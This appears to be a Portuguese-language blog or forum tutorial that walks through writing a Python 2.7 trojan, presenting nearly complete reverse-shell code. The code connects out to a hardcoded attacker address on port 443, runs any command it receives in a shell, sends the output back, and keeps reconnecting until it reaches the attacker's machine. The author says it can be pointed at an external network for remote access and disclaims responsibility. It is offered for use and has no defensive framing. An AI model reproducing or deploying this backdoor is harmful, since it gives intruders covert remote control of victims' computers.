Neste tópico estarei ensinando como criar um trojan desde o início em Python 2.7
Este trojan te dará acesso a um computador remoto se configurar ele para uma rede externa, mas no caso vou configurar para uma rede interna.
Não me responsabilizo por nenhuma ação que você faça usando este trojan, só estou apenas passando conhecimento!
Então vamos começar importando as bibliotecas:
Código: Selecionar todos
Após importarmos as bibliotecas, vamos definir algumas variáveis:import socket, os, tempfile, subprocess, sys, os
Código: Selecionar todos
## O ip será onde meu trojan vai se conectarip = '192.168.1.37'
port = 443
## Utilizei a porta 443 mas você pode utilizar outra.
Agora iremos criar a função connect:
Código: Selecionar todos
## Criamos o socket => sdef connect(ip, port):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send('[!] Connected\n')
return s
except Exception as error:
print 'Erro de conexao:', error
return None
## Fizemos com que ele se conecte ao host declarando o ip e porta => s.connect((ip, port))
## Após ele se conectar mandamos uma msg para o invasor que ele se conectou => s.send
Agora vamos criar a função listen:
Código: Selecionar todos
## Criamos um loop onde ele irá ficar recebendo dados => data = s.recv(1024)def listen(s):
try:
while True:
data = s.recv(1024)
if data[:-1] == '/exit':
s.close()
sys.exit(0)
else:
cmd(s, data[:-1])
except:
error(s)
## Criamos o comando exit para o invasor fechar a conexão
## Após isso chamamos uma função cmd que iremos criar mais para frente onde vamos dar os comandos
## Também chamamos outra função que cuidará dos nossos erros mas vamos criar ela mais para frente
Agora vamos criar a função cmd que chamamos na função listen que servira para dar comandos:
Código: Selecionar todos
## No proc iremos declarar as entradas, saidas e erros de dados => stdin, stdout, stderr def cmd(s, data):
try:
proc = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output = proc.stdout.read() + proc.stderr.read() + os.getcwd()+'>'
s.send(output+'\n')
except:
error(s)
## A biblioteca subprocess server para nós conseguirmos dar comandos em um SO
## Após isso vamos ler estas saidas de dados
## E enviaremos os comandos
Agora vamos fazer uma das funções mais importantes do programa que será a de tratar os erros:
Código: Selecionar todos
## Nessa função iremos checar se existe o s, se existir ele vai fechar e chamar a main que iremos criar logo apósdef error(s):
if s:
s.close()
main()
Agora vem a função main a principal do nosso trojan:
Código: Selecionar todos
## Vamos fazer um loop e criar a variável para conectardef main():
while True:
s_connected = connect(ip, port)
if s_connected:
listen(s_connected)
else:
time.sleep(5)
## Após isto ele vai fazer uma checagem se está conectado
## Se estiver ele vai chamar a função listen
## Se ele não estiver conectado ele vai esperar 5 segundos e tentara se conectar de novo e ficará assim até conseguir se conectar ao host do invasor
Após isso vamos fazer o último passo que será chamar a função main:
Código: Selecionar todos
if __name__ == '__main__':
main()
Nenhum comentário:
Postar um comentário